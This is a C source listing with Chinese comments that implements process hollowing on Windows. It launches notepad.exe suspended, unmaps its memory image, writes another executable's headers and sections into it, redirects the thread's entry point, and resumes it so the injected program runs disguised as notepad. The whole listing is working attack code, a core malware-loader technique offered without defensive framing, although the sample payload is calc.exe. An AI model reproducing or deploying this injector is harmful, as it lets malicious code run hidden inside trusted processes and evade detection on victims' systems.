代码

  1. #include<windows.h>
  2. #include<stdio.h>
  4. char path[MAX_PATH]="c:\\windows\\system32\\notepad.exe";//被注入的傀儡进程
  5. char path2[MAX_PATH]="c:\\Users\\Users\\Desktop\\calc.exe";//注入的进程
  6. int CreateProc(char *,PROCESS_INFORMATION * );//创建傀儡进程
  7. int UnmapView(PROCESS_INFORMATION);//卸载傀儡进程内存映射 
  8. int Injection(PROCESS_INFORMATION);//实现注入
  9. DWORD GetImageSize(char *);//获取SizeOfImage
  10. DWORD GetEntryPoint();//获取OEP
  11. DWORD GetImageBase();//获取基址
  13. CONTEXT context;//定义线程上下文结构
  14. HANDLE hfile;//要注入的文件的句柄
  15. char * pBuffer;//将文件读入内存的指针
  17. void main()
  18. {
  19.     PROCESS_INFORMATION  pi;
  20.     if(!CreateProc(path,&pi))//创建傀儡进程
  21.         return;
  22.     if(UnmapView(pi)!=0)//卸载映射
  23.         return;
  24.     if(Injection(pi)==0)//实现注入
  25.         return;
  26.     printf("INJECTION SUCCESS");
  27.     system("pause");
  29. }
  31. int CreateProc(char * path,PROCESS_INFORMATION * pi)
  32. {
  33.     STARTUPINFOA si;
  34.     ZeroMemory(&si,sizeof(si));//初始化为0
  35.     si.cb=sizeof(si);
  36.     ZeroMemory(pi,sizeof(pi));
  37.     return CreateProcessA(path,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,pi);//以挂起的方式创建进程
  38. }
  40. int UnmapView(PROCESS_INFORMATION pi)
  41. {
  42.     typedef NTSTATUS (WINAPI *ZwUnmapViewOfSection)(HANDLE,LPVOID);//定义函数
  43.     ZwUnmapViewOfSection UnmapViewOfSection = (ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"ZwUnmapViewOfSection");//获取函数基址
  44.     context.ContextFlags = CONTEXT_ALL;
  45.     GetThreadContext(pi.hThread,&context);//获取线程上下文
  46.     DWORD base;
  47.     ReadProcessMemory(pi.hProcess,(LPVOID)(context.Ebx+8),&base,sizeof(DWORD),NULL);//读取傀儡进程基址
  48.     return UnmapViewOfSection(pi.hProcess,(LPVOID)base);//卸载傀儡进程映射
  49. }
  51. int Injection(PROCESS_INFORMATION pi)
  52. {
  53.     DWORD ImageSize = GetImageSize(path2);//获取要注入进程的ImageSize
  54.     DWORD ImageBase = GetImageBase();//获取IMageBase
  55.     context.Eax = (GetEntryPoint()+ImageBase);//获取要注入的进程的入口点,eax中保存着入口点
  56.     VirtualAllocEx(pi.hProcess,(LPVOID)ImageBase,ImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//在傀儡进程中申请要注入的进程所需要的空间大小，注意以注入的内容的ImageBase为基址，这样就不用修复重定位和IAT
  57.     if(!WriteProcessMemory(pi.hProcess,(LPVOID)ImageBase,pBuffer,PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->OptionalHeader.SizeOfHeaders,NULL))//将要注入的HEADER映射到傀儡进程
  58.         return 0;
  59.     PIMAGE_SECTION_HEADER psection =IMAGE_FIRST_SECTION(PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer));
  60.     for(int i=0;i<PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->FileHeader.NumberOfSections;i++)
  61.     {
  62.         if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ImageBase+psection->VirtualAddress),pBuffer+psection->PointerToRawData,psection->SizeOfRawData,NULL))//将要注入的区块映射到傀儡进程
  63.             return 0;
  64.         ++psection;
  65.     }
  66.     if(!WriteProcessMemory(pi.hProcess,(BYTE *)context.Ebx+8,&ImageBase,sizeof(DWORD),NULL))//将要注入的修改线程上下文中的ImageBase
  67.             return 0;
  68.     SetThreadContext(pi.hThread,&context);//设置修改后的线程上下文
  69.     ResumeThread(pi.hThread);//恢复线程
  70.     return 1;
  71. }
  73. DWORD GetImageSize(char *path)//读入文件到内存
  74. {
  75.     hfile = CreateFileA(path2,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开要注入的文件
  76.     if(hfile == INVALID_HANDLE_VALUE)
  77.         exit(0);
  78.     DWORD filesize = GetFileSize(hfile,NULL);
  79.     pBuffer = new char[filesize];
  80.     ReadFile(hfile,pBuffer,filesize,&filesize,NULL);
  81.     PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  82.     if(pDosHeader->e_magic!=0x5A4D)
  83.         exit(0);
  84.     PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  85.     return pNtHeaders->OptionalHeader.SizeOfImage;//遍历PE结构拿到SizeOfImage
  86. }
  88. DWORD GetEntryPoint()
  89. {
  90.     PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  91.     if(pDosHeader->e_magic!=0x5A4D)
  92.         exit(0);
  93.     PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  94.     PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
  95.     return OptionalHeader->AddressOfEntryPoint;//遍历PE结构拿到AddressOfEntryPoint
  96. }
  98. DWORD GetImageBase()
  99. {
  100.     PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  101.     PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  102.     PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
  103.     return OptionalHeader->ImageBase;//从PE结构找到ImageBase
  105. }